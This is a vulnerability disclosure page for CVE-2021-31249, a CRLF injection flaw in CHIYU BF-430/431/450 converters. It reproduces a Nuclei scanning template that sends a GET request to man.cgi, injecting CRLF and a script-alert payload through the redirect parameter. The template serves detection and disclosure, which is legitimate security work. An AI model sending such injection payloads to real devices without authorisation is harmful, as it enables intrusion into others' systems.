CVE-2021-31249: CHIYU TCP/IP Converter - Carriage Return Line Feed Injection

2025-08-01 CHIYU TCP IP Converter PoC Public

Description

CHIYU TCP/IP Converter BF-430, BF-431, and BF-450 are susceptible to carriage return line feed injection. The redirect= parameter, available on multiple CGI components, is not properly validated, thus enabling an attacker to obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.

PoC

id: CVE-2021-31249

info:
  name: CHIYU TCP/IP Converter - Carriage Return Line Feed Injection
  author: geeknik
  severity: medium
  description: CHIYU TCP/IP Converter BF-430, BF-431, and BF-450 are susceptible to carriage return line feed injection. The redirect= parameter, available on multiple CGI components, is not properly validated, thus enabling an attacker to obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
  impact: |
    Successful exploitation of this vulnerability can lead to remote code execution, unauthorized access, or data manipulation.
  remediation: |
    Apply the latest security patches or updates provided by the vendor to fix the vulnerability.
  reference:
    - https://gitbook.seguranca-informatica.pt/cve-and-exploits/cves/chiyu-iot-devices#cve-2021-31249
    - https://www.chiyu-tech.com/msg/message-Firmware-update-87.html
    - https://seguranca-informatica.pt/dancing-in-the-iot-chiyu-devices-vulnerable-to-remote-attacks/
    - https://nvd.nist.gov/vuln/detail/CVE-2021-31249
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
    cvss-score: 6.5
    cve-id: CVE-2021-31249
    cwe-id: CWE-74
    epss-score: 0.18003
    epss-percentile: 0.97054
    cpe: cpe:2.3:o:chiyu-tech:bf-430_firmware:-:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: chiyu-tech
    product: bf-430_firmware
  tags: cve2021,cve,chiyu,crlf,iot,chiyu-tech,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/man.cgi?redirect=setting.htm%0d%0a%0d%0a<script>alert(document.domain)</script>&failure=fail.htm&type=dev_name_apply&http_block=0&TF_ip0=192&TF_ip1=168&TF_ip2=200&TF_ip3=200&TF_port=&TF_port=&B_mac_apply=APPLY"

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - "Location: setting.htm"
          - "<script>alert(document.domain)</script>"
        condition: and

      - type: status
        status:
          - 302
# digest: 4a0a004730450220666ebc257a2e2bc0dae99f3aaa1645c8b4ba5e172606548d06262d4383b426f3022100ea24c046b79bea170ebfc03dada451677e1bbab35a7223224ffc934b06877524:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2021/CVE-2021-31249.yaml

References

Related Vulnerabilities